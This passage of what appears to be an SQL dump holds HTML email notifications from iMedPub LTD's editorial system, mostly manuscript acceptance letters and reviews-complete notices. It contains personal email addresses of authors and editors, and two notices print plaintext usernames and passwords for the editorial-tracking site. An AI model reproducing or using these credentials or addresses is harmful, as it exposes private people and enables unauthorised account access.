href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>ERIKAN</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','erikanbaluku@gmail.com',5202,'2020-08-03',48),(1791,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5215</b><br />\r\n            <br />\r\n            Article Title: <b>Treatment of HCV genotype-1a infection in a child suffering with Thalassemia-major by Sofosbuvir/ Daclatasvir</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mansoor</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hjmansoor@gmail.com',5215,'2020-08-03',48),(1792,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5291</b><br />\r\n            <br />\r\n            Article Title: <b>Educational camps as an instrument to modify the body composition of overweight adolescents</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rocha</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','wainny@unifimes.edu.br',5291,'2020-08-03',48),(1793,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5314</b><br />\r\n            <br />\r\n            Article Title: <b>Current Situation of Coronavirus Disease: (COVID-19) Review Article</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>A MILIBARI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aamilibari@uqu.edu.sa',5314,'2020-08-03',48),(1794,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3755</b><br />\r\n            <br />\r\n            Article Title: <b>More than half of health professionals working in peripheral areas of Southeast Ethiopia are intended to leave their work</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsprj.com/\" target=\"_blank\">Health Systems and Policy Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Salgedo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Systems and Policy Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','wabeyene@yahoo.com',3755,'2020-08-03',84),(1795,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5318</b><br />\r\n            <br />\r\n            Article Title: <b>COVID-19 Knowledge, Attitude and Practice Among Medical and Non-medical Students of Karachi, Pakistan ---- A Comparative Cross-sectional Study</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Roheen Sohaira</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-5318</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',5318,'2020-08-03',85),(1797,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-5367</b><br />\r\n            <br />\r\n            Article Title: <b>Level of diversified feeding among school-age children in Northwest Ethiopia: a cross sectional study.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Tilahun Tewabe</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Berezin</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iptb-20-5367</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> alexander_e<br />\r\n            <b>Password:</b> uN7Aog3r<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','dr_berezin@mail.ru',5367,'2020-08-04',673),(1798,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5318</b><br />\r\n            <br />\r\n            Article Title: <b>COVID-19 Knowledge, Attitude and Practice Among Medical and Non-medical Students of Karachi, Pakistan ---- A Comparative Cross-sectional Study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sohaira</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','roheensohaira@gmail.com',5318,'2020-08-04',85),(1799,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipacr-20-4337</b><br />\r\n            <br />\r\n            Article Title: <b>Early breast cancer detection and screening using thermal  imaging</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acanceresearch.com/\" target=\"_blank\">Archives in Cancer Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b> Kefale</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives in Cancer Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acanceresearch.com/\">Archives in Cancer Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','akadamitu@gmail.com',4337,'2020-08-04',972),(1806,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5503</b><br />\r\n            <br />\r\n            Article Title: <b>Occupational shoulder pain and associated disability among professional bus drivers in Northern Thailand  </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Joseph</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','L.HenryJoseph@brighton.ac.uk',5503,'2020-08-06',48),(1807,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5490</b><br />\r\n            <br />\r\n            Article Title: <b>Bodyweight never causes back pain, neck pain, or disc prolapse.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mathai</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','yacobkm@gmail.com',5490,'2020-08-06',48),(1809,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5431</b><br />\r\n            <br />\r\n            Article Title: <b>ROLE OF PROPRANOLOL IN THE MANAGEMENT OF COMPLICATED INFANTILE HAEMANGIOMAS </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SUBHANI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fazal249@yahoo.com-4',5431,'2020-08-06',48),(1810,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5430</b><br />\r\n            <br />\r\n            Article Title: <b>MIXED IPV-OPV SCHEDULING TO HELP ERADICATE VACCINE-ASSOCIATED PARALYTIC POLIOMYELITIS </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SUBHANI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fazal249@yahoo.com-3',5430,'2020-08-06',48),(1811,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5429</b><br />\r\n            <br />\r\n            Article Title: <b>HIGH ALTITUDE ILLNESS &ndash; PREVENTATIVE TRAVEL ADVICE FOR PARENTS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b> Ehsan Rabani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fazal249@yahoo.com-2',5429,'2020-08-06',48),(1812,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5428</b><br />\r\n            <br />\r\n            Article Title: <b>DOES ADOLESCENT POPULATION NEED CALCIUM SUPPLEMENTS?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rabani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-06</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fazal249@yahoo.com',5428,'2020-08-06',48),(1817,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-5367</b><br />\r\n            <br />\r\n            Article Title: <b>Level of diversified feeding among school-age children in Northwest Ethiopia: a cross sectional study.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Tilahun Tewabe</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Berezin</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iptb-20-5367</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','dr_berezin@mail.ru',5367,'2020-08-10',673),(1818,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-5367</b><br />\r\n            <br />\r\n            Article Title: <b>Level of diversified feeding among school-age children in Northwest Ethiopia: a cross sectional study.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.transbiomedicine.com/\" target=\"_blank\">Translational Biomedicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tewabe</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Translational Biomedicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bezatewabe01@gmail.com',5367,'2020-08-10',673),(1819,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-5481</b><br />\r\n            <br />\r\n            Article Title: <b>Our Success in the Treatment of Acute Respiratory Failure in Coronovirus Patients Using Non-invasive Ventilation</b><br />\r\n            <br />\r\n            Corresponding Author: <b>esmira nasibova</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-5481</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',5481,'2020-08-10',85),(1822,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-5362</b><br />\r\n            <br />\r\n            Article Title: <b>A STUDY OF PREVENTION TO VIRUS COMMUNICATION IN THE HUMAN SOCIETY.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pandey</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-08-11</b><br />\r\n            <br />\r\n            